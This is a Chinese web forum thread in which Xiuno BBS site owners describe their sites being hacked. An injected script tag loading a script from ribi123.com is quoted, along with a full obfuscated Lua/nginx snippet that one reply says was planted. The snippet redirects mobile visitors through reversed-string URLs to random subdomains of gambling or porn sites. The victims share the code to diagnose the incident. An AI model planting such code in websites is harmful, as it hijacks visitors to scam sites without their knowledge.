xiuno网站第二次被人登录后台挂码

V leo  (UID: 20) 9天前 [复制链接]
帖子链接已复制到剪贴板

99 4

使用了 xiuno 搭建的网站,站点介绍被人改了挂了以下代码,让豆包分析了一下,应该是每天只弹出一次,JS 跳转颜色网站

一个星期内被改了 2 次,用的原版 xiuno,只有两个插件,这是 xiuno 的漏洞 bug 还是咋回事?

看了宝塔记录没有被登录宝塔服务器,应该就是登录了我网站 xiuno 后台改的

<script src="https://ribi123.com/scriptl.js"></script>
 
Markup

xiuno网站第二次被人登录后台挂码

 

xiuno网站第二次被人登录后台挂码

这家伙太懒了,什么也没留下。
已有回复 (4)
  • 夜曲  (UID: 79) @Ta
    8天前
    沙发
    无人问津的xiuno站被改了conf.php挂了两次ribi123,跳转开元棋牌,请问博主解决了吗?
  • 夜曲  (UID: 79) @Ta
    8天前
    椅子
    local  is_android  =  ua_lc:find("android")
    local  is_iphone    =  ua_lc:find("iphone")

    if  not  (is_android  or  is_iphone)  then
            return
    end


    if  K:find("k="  ..  S)  then
            return
    end


    ngx.header["Set-Cookie"]  =  "k="  ..  S  ..  ";Path=/;Max-Age=43200"


    if  is_iphone  and  math.random()  >=  0.3  then
            return
    end


    local  R1  =  "lmth.naim/piv.statsih//:sptth"
    local  R2  =  "lmth.naim/pot.statsih//:sptth"

    local  function  rev(s)  return  s  and  string.reverse(s)  or  ""  end
    local  D1  =  rev(R1)
    local  D2  =  rev(R2)

    local  function  strip_proto(full)
            return  full:gsub("^https?://",  "")
    end

    local  H1  =  strip_proto(D1)
    local  H2  =  strip_proto(D2)

    local  alpha  =  "abcdefghijklmnopqrstuvwxyz0123456789"
    local  function  rand_pref(len)
            local  t  =  {}
            for  i  =  1,  len  do
                    local  idx  =  math.random(1,  #alpha)
                    t[i]  =  alpha:sub(idx,  idx)
            end
            return  table.concat(t)
    end

    local  pool  =  {H1,  H2}
    local  pick  =  pool[math.random(1,  #pool)]  or  H1
    local  pref  =  rand_pref(math.random(3,  7))
    local  target  =  "https://"  ..  pref  ..  "."  ..  pick

    return  ngx.redirect(target,  302)
    确认是这段恶意代码了
  • Laity  (UID: 27) @Ta
    8天前
    板凳
    666这能被挂码
  • V 满总  (UID: 1) 站长 @Ta
    5天前 (「BSAY论坛」运营团队官方账号。)
    4楼
    夜曲 无人问津的xiuno站被改了conf.php挂了两次ribi123,跳转开元棋牌,请问博主解决了吗?
    已经解决了
    • Xiuno BBS
      5
发新帖
推广 (站长QQ:837054936)